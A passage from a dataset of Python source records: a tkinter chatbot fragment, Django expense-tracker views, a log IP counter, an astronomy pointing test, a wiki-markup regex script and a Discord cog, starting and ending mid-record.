\"+self.answers[randomNumber]\n\t\t\twriteContentOwly = answer\n\t\t\n\t\t#answers-end\n\t\t#ChatFrame Handling\n\t\twriteContentYou = \"\\nDu: \"+entryText\n\t\tself.owlyChat.config(state=tk.NORMAL)\n\t\tself.owlyChat.insert(tk.INSERT, writeContentYou)\n\t\tself.owlyChat.config(state=tk.DISABLED)\n\t\tself.owlyChat.see('end')\n\t\twriteContentMe = \"\\n\"+writeContentOwly\n\t\tself.owlyChat.config(state=tk.NORMAL)\n\t\tself.owlyChat.insert(tk.INSERT, writeContentMe)\n\t\tself.owlyChat.config(state=tk.DISABLED)\n\t\tself.owlyChat.see('end')\n\nclass Verify:\n\t'Class for displaying the human verification (captcha)'\n\t#variables\n\ti = 0\n\n\t#constructor\n\tdef __init__(self, master):\n\t\tself.master = master\n\t\tmaster.title(\"Verify that you are human:\")\n\n\t\tself.main_img = tk.PhotoImage(file=\"bin/resources/hanni/human_v1\")\n\t\tself.main_frame = tk.Button(self.master, image=self.main_img, command=self.button_press)\n\t\tself.main_frame.image = self.main_img\n\t\tself.main_frame.grid(row=0, column=0)\n\n\t\tmaster.protocol(\"WM_DELETE_WINDOW\", self.button_press)\n\n\t#functions\n\tdef button_press(self):\n\t\tif self.i == 0:\n\t\t\tself.press_1()\n\t\telse:\n\t\t\tself.press_2()\n\t\tself.i = self.i + 1\n\n\tdef press_1(self):\n\t\tmain_img2 = tk.PhotoImage(file=\"bin/resources/hanni/human_v2\")\n\t\tself.main_frame.configure(image=main_img2)\n\t\tself.main_frame.image = main_img2\n\n\tdef press_2(self):\n\t\tself.master.destroy()\n\n#init gui\ndef main():\n\tv = tk.Tk()\n\tapp = Verify(v)\n\tv.mainloop()\n\n\towly = tk.Tk()\n\tapp = Hanni(owly)\n\towly.mainloop()\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"pyBots/hanni.py","file_name":"hanni.py","file_ext":"py","file_size_in_byte":4644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"136504161","text":"from django.core.serializers import json\nfrom django.shortcuts import render, HttpResponse, HttpResponseRedirect, HttpResponsePermanentRedirect, get_object_or_404, redirect\nfrom django.http import Http404\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils import timezone\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.models import User\nimport messages\nfrom .models import ExpensesGroup, Expense, Currency, Limit\nfrom .forms import ExpensesGroupForm, ExpenseForm, ExpensesGroupShowForm, LimitForm, UserForm\nfrom .vars import VARS\nfrom django.db.models import Sum, Count\nfrom reportlab.pdfgen import canvas\nfrom reportlab.pdfbase import pdfmetrics\nfrom reportlab.pdfbase.ttfonts import TTFont\nfrom reportlab.lib.pagesizes import letter, landscape\nfrom django.core.paginator import Paginator, PageNotAnInteger, EmptyPage\nimport re\nfrom django.contrib import messages\nfrom django.db.utils import IntegrityError\nimport json\n\n\ndef index(request):\n return render(request, 'coreapp/index.html')\n\n\ndef register(request):\n context = {}\n if request.method == 'POST':\n form = UserForm(request.POST)\n\n if form.is_valid():\n # passwords have to be equal\n if request.POST['password'] == request.POST['repeat_password']:\n u = form.save(commit=False)\n u.set_password(request.POST['password'])\n u.save()\n return HttpResponseRedirect(reverse('login'))\n else:\n form = UserForm(request.POST)\n context['passwords_different'] = True\n else:\n pass\n\n context['form'] = form\n\n else:\n context['form'] = UserForm()\n\n return render(request, 'coreapp/register.html', context)\n\n\ndef about(request):\n return render(request, 'coreapp/about.html')\n\n\ndef faq(request):\n return render(request, 'coreapp/faq.html')\n\n\ndef contact(request):\n return render(request, 'coreapp/contact.html')\n\n\n@login_required\ndef index_user(request):\n context = {}\n context['GROUP_LIMIT'] = VARS['GROUP_LIMIT']\n context['GROUP_COUNTER'] = len(ExpensesGroup.objects.filter(user=request.user))\n context['EXPENSES_COUNTER'] = len(Expense.objects.filter(user=request.user))\n # sum total expenses for each currency\n context['sum'] = Expense.objects \\\n .filter(user=request.user) \\\n .values('currency__abbr') \\\n .annotate(total=Sum('amount'))\n # limits\n c = Limit.objects \\\n .filter(user=request.user) \\\n .values('user__id') \\\n .annotate(count=Count('user__id'))\n\n if c:\n context['limits'] = c[0]['count']\n else:\n context['limits'] = 0\n\n # calc exceeded limits\n # sum expenses for limits\n sums = {}\n percentages = {}\n limits = Limit.objects.filter(user=request.user)\n context['exceeded_limits'] = 0\n\n for l in limits:\n res = Expense.objects.all().filter(user=request.user) \\\n .filter(day_when__gte=l.from_date) \\\n .filter(day_when__lte=l.to_date) \\\n .filter(currency=l.currency) \\\n .values('currency__abbr') \\\n .annotate(sum=Sum('amount'))\n if res:\n # print(res)\n for d in res:\n if d['sum']:\n sums[l.id] = d['sum']\n else:\n sums[l.id] = 0\n # calc\n percentages[l.id] = d['sum'] * 100 / l.amount\n # now count percentages >= 100%\n if percentages[l.id] >= 100:\n context['exceeded_limits'] += 1\n else:\n print('else')\n sums[l.id] = 0\n percentages[l.id] = 0\n\n return render(request, 'coreapp/user/user_index.html', context)\n\n\n@login_required\ndef index_user2(request):\n return redirect('user:index')\n\n\n@login_required\ndef expenses_groups_show(request):\n context = {}\n groups = ExpensesGroup.objects\\\n .all()\\\n .filter(user_id=request.user.id)\\\n .order_by('-priority', 'name')\n context['groups'] = groups\n\n return render(request, 'coreapp/user/user_expenses_groups_show.html', context)\n\n\n@login_required\ndef expenses_groups_show_details(request, group_id):\n context = {}\n # fetch group details\n context['group_details'] = get_object_or_404(ExpensesGroup, id=group_id)\n\n if context['group_details'].user_id != request.user.id:\n context['permission_denied'] = True\n else:\n # count elements in this group\n context['group_total'] = len(Expense.objects\n .filter(expensesgroup_id=group_id))\n # sum & count elements along currency\n context['sum'] = \\\n Expense.objects.filter(expensesgroup_id=group_id)\\\n .values('currency__abbr')\\\n .annotate(total=Sum('amount'), count=Count('currency__abbr'))\n\n return render(request, 'coreapp/user/user_expenses_groups_show_details.html', context)\n\n\n@login_required()\ndef expenses_groups_edit(request, group_id):\n context = {}\n expensesgroup = get_object_or_404(ExpensesGroup, id=group_id)\n\n if request.method == \"POST\":\n form = ExpensesGroupForm(request.POST, instance=expensesgroup)\n if form.is_valid():\n try:\n edited_expensesgroup = form.save(commit=False)\n edited_expensesgroup.user = request.user\n edited_expensesgroup.save()\n messages.success(request, 'SUCCESS: Edited expenses group with id=' + str(group_id),\n extra_tags='bg-success')\n return redirect(reverse('user:expenses_groups_show'))\n # return HttpResponseRedirect(reverse('user:expenses_groups_show'))\n except IntegrityError:\n messages.error(request, 'Group with this name exists!', extra_tags='bg-danger')\n context['form'] = form\n else:\n context['form'] = form\n else:\n if expensesgroup.user_id != request.user.id:\n context['permission_denied'] = True\n else:\n expensesgroup = ExpensesGroup.objects.get(id=group_id)\n context['form'] = ExpensesGroupForm(instance=expensesgroup)\n\n return render(request, 'coreapp/user/user_expenses_groups_edit.html', context)\n\n\n@login_required\ndef expenses_groups_delete(request, group_id):\n context = {}\n expensesgroup = get_object_or_404(ExpensesGroup, id=group_id)\n\n if expensesgroup.user_id != request.user.id:\n context['permission_denied'] = True\n else:\n context['group_name'] = expensesgroup.name\n # check relations\n try:\n tmp = Expense.objects.filter(expensesgroup_id=group_id)[0]\n context['delete'] = False\n except IndexError:\n context['delete'] = True\n expensesgroup.delete()\n\n return render(request, 'coreapp/user/user_expenses_groups_delete.html', context)\n\n\n\n@login_required\ndef expenses_groups_create(request):\n context = {}\n # check how many groups user has\n # user can't have more than 5 groups\n context['groups_counter'] = len(ExpensesGroup.objects.filter(user_id=request.user.id))\n\n if context['groups_counter'] >= VARS['GROUP_LIMIT']:\n context['achieve_group_limit'] = True\n context['group_limit'] = VARS['GROUP_LIMIT']\n else:\n context['achieve_group_limit'] = False\n # process form\n if request.method == 'POST':\n form = ExpensesGroupForm(request.POST)\n if form.is_valid():\n new_group = form.save(commit=False)\n new_group.user_id = request.user.id\n new_group.created_date = timezone.now()\n\n try:\n new_group.save()\n # Always return an HttpResponseRedirect after successfully dealing\n # with POST data. This prevents data from being posted twice if a\n # user hits the Back button.\n return HttpResponseRedirect(reverse('user:expenses_groups_show'))\n except IntegrityError:\n messages.error(request, 'Group with this name exists!', extra_tags='bg-danger')\n context['form'] = form\n else:\n # if errors appeared, fill form with previous values\n context['form'] = form\n else:\n context['form'] = ExpensesGroupForm()\n\n return render(request, 'coreapp/user/user_expenses_groups_create.html', context)\n\n\n@login_required\ndef expenses_show(request):\n context = {}\n\n # check wheter user has at least one group\n length = len(ExpensesGroup.objects.filter(user=request.user.id))\n if length == 0:\n context['no_groups_error'] = True\n return render(request, 'coreapp/user/user_expenses_show.html', context)\n\n\n context['form'] = ExpensesGroupShowForm(request.user.id)\n\n if request.method == 'POST':\n return redirect(reverse('user:expenses_show_group', args=(request.POST['name'],)))\n else:\n expenses = Expense.objects.filter(user=request.user)\\\n .order_by('-day_when')\n # pagination\n page = request.GET.get('page')\n p = Paginator(expenses, VARS['EXPENSES_PER_PAGE'])\n try:\n context['my_expenses'] = p.page(page)\n context['page'] = page\n if int(p._num_pages) - int(page) >= 2:\n context['last_page_button_visible'] = True\n if int(page) != 1 and int(page) != 2:\n context['first_page_button_visible'] = True\n except PageNotAnInteger:\n context['my_expenses'] = p.page(1)\n context['page'] = 1\n if int(p._num_pages) != 1:\n context['last_page_button_visible'] = True\n except EmptyPage:\n context['page_error'] = True\n context['num_pages'] = p._num_pages\n\n return render(request, 'coreapp/user/user_expenses_show.html', context)\n\n\n@login_required()\ndef expenses_show_group(request, gid):\n context = {}\n\n try:\n t = ExpensesGroup.objects.get(id=gid, user=request.user.id)\n except ExpensesGroup.DoesNotExist:\n raise Http404(\"ExpensesGroup does not exist!\")\n\n # put name of group to the context\n context['groupname'] = t.name\n # fill form with groups, which belong to logged user\n context['form'] = ExpensesGroupShowForm(request.user.id)\n # get expenses for group\n expenses = Expense.objects.filter(expensesgroup=gid, user=request.user.id)\\\n .order_by('-day_when')\n # pagination\n page = request.GET.get('page')\n p = Paginator(expenses, VARS['EXPENSES_PER_PAGE'])\n try:\n context['my_expenses'] = p.page(page)\n context['page'] = page\n if int(p._num_pages) - int(page) >= 2:\n context['last_page_button_visible'] = True\n if int(page) != 1 and int(page) != 2:\n context['first_page_button_visible'] = True\n except PageNotAnInteger:\n context['my_expenses'] = p.page(1)\n context['page'] = 1\n if int(p._num_pages) != 1:\n context['last_page_button_visible'] = True\n except EmptyPage:\n context['page_error'] = True\n context['num_pages'] = p._num_pages\n\n return render(request, 'coreapp/user/user_expenses_show.html', context)\n\n\n@login_required\ndef expenses_create(request):\n context = {}\n # check whether user has at least one expenses group\n groups_counter = len(ExpensesGroup.objects.filter(user_id=request.user.id))\n\n if groups_counter == 0:\n # if user has zero groups, just redirect to template\n context['error_group_zero'] = True\n return render(request, 'coreapp/user/user_expenses_create.html', context)\n else:\n # process POST data\n if request.method == 'POST':\n user = User.objects.get(id=request.user.id)\n\n # empty dictionary for errors\n err = {}\n if request.POST['expensesgroup']:\n expensesgroup = ExpensesGroup.objects.get(id=request.POST['expensesgroup'])\n else:\n err['expensesgroup'] = True\n\n if request.POST['currency']:\n currency = Currency.objects.get(id=request.POST['currency'])\n else:\n err['currency'] = True\n\n if request.POST['day_when']:\n day_when = request.POST['day_when']\n else:\n err['day_when'] = True\n\n if request.POST['amount']:\n amount = request.POST['amount']\n else:\n err['amount'] = True\n amount = False\n\n # check errors\n if len(err):\n context['errors'] = err\n context['form'] = ExpenseForm(username=request.user)\n return render(request, 'coreapp/user/user_expenses_create.html', context)\n\n description = request.POST['description']\n\n expense = Expense(user=user, expensesgroup=expensesgroup, currency=currency, day_when=day_when,\n amount=amount, description=description)\n form = ExpenseForm(username=request.user, instance=expense)\n\n expense.save();\n return HttpResponseRedirect(reverse('user:expenses_show_group', args=(expensesgroup.id,)))\n else:\n # else prepare empty form\n context['form'] = ExpenseForm(username=request.user)\n\n return render(request, 'coreapp/user/user_expenses_create.html', context)\n\n\n@login_required()\ndef pdftest(request):\n response = HttpResponse(content_type='application/pdf')\n # response['Content-Disposition'] = 'attachment; filename=\"pdftest.pdf\"'\n response['Content-Disposition'] = 'filename=\"pdftest.pdf\"'\n\n # for A4 page\n last_x = 595\n last_y = 842\n\n # register fonts\n # pdfmetrics.registerFont(TTFont(\"LiberationSans Regular\", \"/usr/share/fonts/truetype/liberation/LiberationSans-Regular.ttf\"))\n # pdfmetrics.registerFont(TTFont(\"LiberationSans Bold\", \"/usr/share/fonts/truetype/liberation/LiberationSans-Bold.ttf\"))\n # create canvas object\n p = canvas.Canvas(response, pagesize=letter)\n\n # title\n p.setFont(\"LiberationSans Bold\", 20)\n p.drawString(30, 800, \"ExpensesMonitor - Report\")\n p.line(10, 795, last_x-10, 795)\n # content\n p.setFont(\"LiberationSans Regular\", 14)\n p.drawString(30, 750, \"My Expenses from 01-05-2015 to 31-05-2015\")\n # footer\n p.line(10, 20, last_x-10, 20)\n p.setFont(\"LiberationSans Regular\", 8)\n p.drawCentredString(last_x/2, 10, \"generated by reportlab pdfgen module\")\n\n p.showPage()\n p.save()\n\n return response\n\n\n@login_required()\ndef expenses_delete(request, id):\n # check if expense with specified id belongs to user\n expense = Expense.objects.filter(id=id, user=request.user)\n # expense is a QuerySet object, so check len of this\n if len(expense) == 0:\n messages.warning(request, 'Error occurred!', extra_tags='bg-danger')\n return HttpResponseRedirect(reverse('user:expenses_show'))\n\n expense.delete()\n messages.success(request, 'Expense has been deleted!', extra_tags='bg-success')\n\n if request.META.get('HTTP_REFERER') is None:\n return HttpResponseRedirect(reverse('user:expenses_show'))\n else:\n return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n\n\n@login_required()\ndef expenses_edit(request, id):\n context = {}\n\n # check if expense with specified id belongs to user\n expense = get_object_or_404(Expense, id=id, user=request.user)\n # expense is a QuerySet object, so check len of this\n # if len(expense) == 0:\n # messages.warning(request, 'Error occurred!', extra_tags='bg-danger')\n # return HttpResponseRedirect(reverse('user:expenses_show'))\n\n form = ExpenseForm(username=request.user, instance=expense)\n\n if request.method == 'POST':\n user = User.objects.get(id=request.user.id)\n\n # empty dictionary for errors\n err = {}\n if request.POST['expensesgroup']:\n expensesgroup = ExpensesGroup.objects.get(id=request.POST['expensesgroup'])\n else:\n err['expensesgroup'] = True\n\n if request.POST['currency']:\n currency = Currency.objects.get(id=request.POST['currency'])\n else:\n err['currency'] = True\n\n if request.POST['day_when']:\n day_when = request.POST['day_when']\n else:\n err['day_when'] = True\n\n if request.POST['amount']:\n amount = request.POST['amount']\n else:\n err['amount'] = True\n amount = False\n\n # check errors\n description = request.POST['description']\n\n expense = Expense(id=id, user=user, expensesgroup=expensesgroup, currency=currency, day_when=day_when,\n amount=amount,\n description=description)\n form = ExpenseForm(username=request.user, instance=expense)\n\n if len(err):\n context['errors'] = err\n context['form'] = form\n return render(request, 'coreapp/user/user_expenses_edit.html', context)\n else:\n e = form.save(commit=False)\n expense.save()\n messages.success(request, 'Successfully edited an expense with id=' + str(id), extra_tags='bg-success')\n return redirect(reverse('user:expenses_show'))\n\n context['form'] = form\n\n return render(request, 'coreapp/user/user_expenses_edit.html', context)\n\n\n@login_required()\ndef limits_create(request):\n context = {}\n\n if request.method == 'POST':\n form = LimitForm(request.POST)\n\n if form.is_valid():\n limit = form.save(commit=False)\n limit.user = request.user\n\n # check uniqueness\n o = Limit.objects.filter(user=request.user) \\\n .filter(currency__id = request.POST['currency']) \\\n .filter(from_date=request.POST['from_date']) \\\n .filter(to_date=request.POST['to_date']) \\\n .first()\n\n if o is None:\n messages.success(request, 'SUCCESS: Added new limit!', extra_tags='bg-success')\n limit.save()\n form = LimitForm()\n elif o == limit:\n messages.error(request, 'ERROR: The same limit exists!', extra_tags='bg-danger')\n else:\n pass\n else:\n form = LimitForm()\n\n context['form'] = form\n\n return render(request, 'coreapp/user/user_limits_create.html', context)\n\n\n@login_required()\ndef limits_show(request):\n context = {}\n limits = Limit.objects \\\n .filter(user_id=request.user.id) \\\n .order_by('from_date', 'to_date')\n # sum expenses for limits\n sums = {}\n percentages = {}\n for l in limits:\n res = Expense.objects.all().filter(user=request.user) \\\n .filter(day_when__gte=l.from_date) \\\n .filter(day_when__lte=l.to_date) \\\n .filter(currency=l.currency) \\\n .values('currency__abbr') \\\n .annotate(sum=Sum('amount'))\n if res:\n print(res)\n for d in res:\n if d['sum']:\n sums[l.id] = d['sum']\n else:\n sums[l.id] = 0\n # calc\n percentages[l.id] = d['sum'] * 100 / l.amount\n else:\n sums[l.id] = 0\n percentages[l.id] = 0\n\n context['limits'] = limits\n context['sums'] = sums\n context['percentages'] = percentages\n\n print(sums)\n print(percentages)\n return render(request, 'coreapp/user/user_limits_show.html', context)\n\n\n@login_required()\ndef limits_delete(request, id):\n # check if limit with specified id belongs to user\n limit = get_object_or_404(Limit, id=id, user=request.user)\n\n limit.delete()\n messages.success(request, 'SUCCESS: Limit has been deleted!', extra_tags='bg-success')\n\n return HttpResponseRedirect(reverse('user:limits_show'))\n\n\n@login_required()\ndef limits_edit(request, id):\n context = {}\n\n # check if limit with specified id belongs to user\n limit = get_object_or_404(Limit, id=id, user=request.user)\n\n if request.method == 'POST':\n form = LimitForm(request.POST)\n if form.is_valid():\n l = form.save(commit=False)\n l.user = request.user\n\n # check uniqueness\n o = Limit.objects.filter(user=request.user) \\\n .filter(currency__id = request.POST['currency']) \\\n .filter(from_date=request.POST['from_date']) \\\n .filter(to_date=request.POST['to_date']) \\\n .first()\n\n if o is None or str(o.id) == id or o == limit:\n l.id = id\n l.save()\n messages.success(request, 'SUCCESS: Successfully edited a limit with id=' + str(id), extra_tags='bg-success')\n else:\n messages.error(request, 'ERROR: The same limit exists!', extra_tags='bg-danger')\n else:\n pass\n else:\n form = LimitForm(instance=limit)\n\n context['form'] = form\n\n return render(request, 'coreapp/user/user_limits_edit.html', context)\n\n\n@login_required()\ndef limits_show_details(request, id):\n context = {}\n\n limit = get_object_or_404(Limit, id=id)\n context['my_expenses'] = Expense.objects.filter(user=request.user)\\\n .filter(day_when__gte=limit.from_date)\\\n .filter(day_when__lte=limit.to_date)\\\n .filter(currency=limit.currency)\\\n .order_by('day_when', 'id')\n context['limit'] = limit\n\n return render(request, 'coreapp/user/user_limits_show_details.html', context)\n\n\n@login_required()\ndef limits_show_pdf(request, id):\n limit = get_object_or_404(Limit, id=id)\n my_expenses = Expense.objects.filter(user=request.user)\\\n .filter(day_when__gte=limit.from_date)\\\n .filter(day_when__lte=limit.to_date)\\\n .filter(currency=limit.currency)\\\n .order_by('day_when', 'id')\n\n filename = 'limit_%s_%s_%s_%s' % (limit.id, limit.currency, limit.from_date, limit.to_date)\n\n response = HttpResponse(content_type='application/pdf')\n # response['Content-Disposition'] = 'attachment; filename=\"%s\"' % (filename)\n response['Content-Disposition'] = 'filename=\"%s.pdf\"' % (filename)\n\n # for A4 page\n last_x = 595\n last_y = 842\n\n # register fonts\n pdfmetrics.registerFont(TTFont(\"LiberationSans Regular\", \"/usr/share/fonts/truetype/liberation/LiberationSans-Regular.ttf\"))\n pdfmetrics.registerFont(TTFont(\"LiberationSans Bold\", \"/usr/share/fonts/truetype/liberation/LiberationSans-Bold.ttf\"))\n # create canvas object\n p = canvas.Canvas(response, pagesize=letter)\n\n title = \"ExpensesMonitor - Expenses for limit\"\n subtitle = \"Expenses in %s from %s to %s\" % (limit.currency, limit.from_date, limit.to_date)\n x = 30\n y = 760\n line_height = 20\n\n # title\n p.setFont(\"LiberationSans Bold\", 20)\n p.drawCentredString(last_x/2, y, title)\n y -= line_height\n p.line(10, y, last_x-10, y)\n y -= line_height*1.5\n\n # content\n p.setFont(\"LiberationSans Regular\", 12)\n p.drawString(x, y, subtitle)\n y -= line_height\n\n if my_expenses:\n table_header = 'format: groupname, id, amount [currency], day when, description'\n p.drawString(x, y, table_header)\n y -= line_height*1.5\n\n for e in my_expenses:\n if len(e.description) >= 50:\n desc = e.description[:50] + '...'\n else:\n desc = e.description\n\n expense = '%s, %s, %s [%s] , %s, %s' %\\\n (e.expensesgroup, e.id, e.amount, e.currency, e.day_when, desc)\n p.drawString(x, y, expense)\n y -= line_height\n\n if y <= 100:\n # next page\n p.line(10, 20, last_x-10, 20)\n p.setFont(\"LiberationSans Regular\", 8)\n p.drawCentredString(last_x/2, 10, \"generated by reportlab pdfgen module\")\n p.drawCentredString(last_x-30, 10, \"Page \" + str(p._pageNumber))\n p.showPage()\n y = 760 - 2*line_height\n else:\n p.drawString(x, y, 'You have no expenses in this time!')\n\n # footer\n p.line(10, 20, last_x-10, 20)\n p.setFont(\"LiberationSans Regular\", 8)\n p.drawCentredString(last_x/2, 10, \"generated by reportlab pdfgen module\")\n p.drawCentredString(last_x-30, 10, \"Page \" + str(p._pageNumber))\n\n p.showPage()\n p.save()\n\n return response\n\n\n@login_required()\ndef api_get_expenses_descriptions(request):\n if request.is_ajax():\n descriptions = Expense.objects.filter(user=request.user)\\\n .filter(description__startswith=request.GET['term'])\\\n .values('description')\\\n .distinct()\n\n data = []\n for desc in descriptions:\n json_tmp = {}\n json_tmp['label'] = desc['description']\n json_tmp['value'] = desc['description']\n data.append(json_tmp)\n\n mimetype = 'application/json'\n js = json.dumps(data)\n return HttpResponse(js, mimetype)\n else:\n return HttpResponse('Fail')\n\n\ndef api_get_usernames(request):\n if request.is_ajax():\n usernames = User.objects.filter(username__startswith=request.GET['term'])\\\n .values('username')\n\n data = []\n for u in usernames:\n json_tmp = {}\n json_tmp['label'] = u['username']\n json_tmp['value'] = u['username']\n data.append(json_tmp)\n\n mimetype = 'application/json'\n json_data = json.dumps(data)\n return HttpResponse(json_data, mimetype)\n else:\n return HttpResponse('Fail')","sub_path":"coreapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":25783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"372213113","text":"#!/usr/bin/env python\n\nimport re\nimport sys\nimport time\nimport operator\n\nips_dict = {}\n\ntry:\n log_filename = sys.argv[1]\nexcept IndexError:\n print(\"\\nusage: ./count_server_hist LOG_FILENAME\\n\")\n sys.exit(2)\n\nwith open(log_filename, \"r\") as log_file:\n for line in log_file.readlines():\n m = re.search(r'[\\d.]+', line)\n ip = str(m.group(0))\n try:\n ips_dict[ip] += 1\n except KeyError:\n ips_dict[ip] = 0\n\n# Sort via hits\nips_sorted = sorted(ips_dict.items(), key=operator.itemgetter(1))\n\nfor x, v in ips_sorted:\n print(\"{} \\t\\t-> {}\".format(x, v))\n","sub_path":"count_server_hits.py","file_name":"count_server_hits.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"450607644","text":"\"\"\" Unit tests for pointing\n\n\"\"\"\n\nimport logging\nimport unittest\n\nimport astropy.units as u\nimport numpy\nfrom astropy.coordinates import SkyCoord\n\nfrom data_models.polarisation import PolarisationFrame\n\nfrom processing_components.skycomponent.operations import create_skycomponent\nfrom processing_components.calibration.pointing import create_pointingtable_from_blockvisibility\nfrom processing_components.imaging.primary_beams import create_vp\nfrom processing_components.simulation.configurations import create_named_configuration\nfrom processing_components.simulation.pointing import simulate_gaintable_from_pointingtable\nfrom processing_components.simulation.testing_support import create_test_image, simulate_pointingtable\nfrom processing_components.simulation.testing_support import create_test_skycomponents_from_s3\nfrom processing_components.visibility.base import create_blockvisibility\nfrom processing_library.image.operations import create_image\n\nlog = logging.getLogger(__name__)\n\n\nclass TestPointing(unittest.TestCase):\n def setUp(self):\n from data_models.parameters import arl_path\n \n self.doplot = True\n \n self.midcore = create_named_configuration('MID', rmax=300.0)\n self.nants = len(self.midcore.names)\n self.dir = arl_path('test_results')\n self.ntimes = 301\n self.times = numpy.linspace(-6.0, 6.0, self.ntimes) * numpy.pi / (12.0)\n \n self.frequency = numpy.array([1.4e9])\n self.channel_bandwidth = numpy.array([1e7])\n self.phasecentre = SkyCoord(ra=+15.0 * u.deg, dec=-50.0 * u.deg, frame='icrs', equinox='J2000')\n self.vis = create_blockvisibility(self.midcore, self.times, self.frequency,\n channel_bandwidth=self.channel_bandwidth,\n phasecentre=self.phasecentre, weight=1.0,\n polarisation_frame=PolarisationFrame('stokesI'))\n self.vis.data['vis'] *= 0.0\n \n # Create model\n self.model = create_image(npixel=2048, cellsize=0.0003, polarisation_frame=PolarisationFrame(\"stokesI\"),\n frequency=self.frequency, channel_bandwidth=self.channel_bandwidth,\n phasecentre=self.phasecentre)\n \n def test_create_gaintable_from_pointingtable_circlecut(self):\n self.sidelobe = SkyCoord(ra=+15.0 * u.deg, dec=-49.4 * u.deg, frame='icrs', equinox='J2000')\n comp = create_skycomponent(direction=self.sidelobe, flux=[[1.0]], frequency=self.frequency,\n polarisation_frame=PolarisationFrame('stokesI'))\n \n telescopes = ['MID', 'MID_GAUSS', 'MID_GRASP']\n for telescope in telescopes:\n pt = create_pointingtable_from_blockvisibility(self.vis)\n pt = simulate_pointingtable(pt, pointing_error=0.0,\n global_pointing_error=[0.0, 0.0])\n vp = create_vp(self.model, telescope)\n gt = simulate_gaintable_from_pointingtable(self.vis, [comp], pt, vp)\n if self.doplot:\n import matplotlib.pyplot as plt\n plt.clf()\n plt.plot(gt[0].time, numpy.real(1.0 / gt[0].gain[:, 0, 0, 0, 0]), '.', label='Real')\n plt.plot(gt[0].time, numpy.imag(1.0 / gt[0].gain[:, 0, 0, 0, 0]), '.', label='Imaginary')\n plt.legend()\n plt.xlabel('Time (s)')\n plt.ylabel('Gain')\n plt.title('test_create_gaintable_from_pointingtable_%s' % telescope)\n plt.show()\n assert gt[0].gain.shape == (self.ntimes, self.nants, 1, 1, 1), gt[0].gain.shape\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/processing_components/test_pointing_circlecut.py","file_name":"test_pointing_circlecut.py","file_ext":"py","file_size_in_byte":3770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"507694109","text":"import re\nfrom knock20 import read_gzip\nfrom knock25 import obtain_template \nfrom knock26 import remove_emphasis\nfrom knock27 import remove_internallink, postprocess\n\ndef remove_externallink(field_dic):\n removed_internallink_dic = {}\n for key, value in field_dic.items():\n removed_internallink_dic[key] = re.sub(r\"\\[\\[([^|#\\]]+?\\|)*(.*?)\\]\\]\", r\"\\2\", value)\n \n return removed_internallink_dic\n\n\ndef remove_tokens(field_dic):\n removed_tokens_dic = {}\n for key, value in field_dic.items():\n value = re.sub(r\"<\\/?[br|ref][^>]+?\\/?>\", \"\", value)\n value = re.sub(r\"\\{\\{lang\\|[^\\|]+?\\|([^\\}]+?)\\}\\}\", r\"\\1\", value)\n removed_tokens_dic[key] = value\n\n return removed_tokens_dic\n\n\nif __name__ == '__main__':\n uk_doc = read_gzip()\n template = '基礎情報'\n field_dic = obtain_template(uk_doc, template)\n methods = [remove_emphasis, remove_internallink, remove_externallink, remove_tokens]\n answer = postprocess(field_dic, methods)\n for name, value in answer.items():\n print(f'{name}: {value}')\n\n","sub_path":"aida/chapter03/knock28.py","file_name":"knock28.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"299348177","text":"from discord.ext import commands\nimport discord\nfrom ...core.utils import DiscordExt\nfrom ...core.cog_config import CogExtension\n\n\n# This extension is currently not in use.\n\n\nclass WorkShop(CogExtension):\n @commands.group()\n @commands.has_any_role('總召', 'Administrator')\n async def ws(self, ctx):\n pass\n\n @ws.command()\n async def snapshot(self, ctx, voice_id: int):\n \"\"\"cmd\n 將 語音頻道 設定為目前在頻道中的成員所屬。\n\n .voice_id: 語音頻道的id\n \"\"\"\n voice_channel: discord.VoiceChannel = ctx.guild.get_channel(voice_id)\n voice_perms = {\n \"connect\": True,\n \"request_to_speak\": True,\n \"speak\": True,\n \"stream\": True,\n \"use_voice_activation\": True\n }\n member_list = ''\n for member in voice_channel.members:\n member_list += f'{member.display_name}({member.id})\\n'\n\n # text perm setting\n text_perms = ctx.channel.overwrites_for(member)\n\n text_perms.view_channel = True\n text_perms.read_messages = True\n text_perms.add_reactions = True\n text_perms.send_messages = True\n text_perms.read_message_history = True\n text_perms.attach_files = True\n text_perms.embed_links = True\n\n await ctx.channel.set_permissions(member, overwrite=text_perms)\n\n # voice perm setting\n await voice_channel.set_permissions(member, **voice_perms)\n\n await ctx.channel.set_permissions(ctx.guild.default_role, view_channel=False)\n await voice_channel.set_permissions(ctx.guild.default_role, connect=False, view_channel=False)\n await ctx.send(embed=await DiscordExt.create_embed(\n f'Team {voice_channel.name}',\n 'default',\n discord.Colour.dark_blue(),\n ['Members'],\n [member_list]\n ))\n\n\ndef setup(bot):\n bot.add_cog(WorkShop(bot))\n","sub_path":"bot/cogs/workshop_plugin/workshop.py","file_name":"workshop.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"153444808","text":"# Copyright 2021 Alibaba Group Holding Limited. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\nfrom pyflink.common.typeinfo import Types\nfrom pyflink.common.watermark_strategy import WatermarkStrategy\nfrom pyflink.common import Configuration\nfrom pyflink.util.java_utils import get_j_env_configuration\nfrom pyflink.datastream import 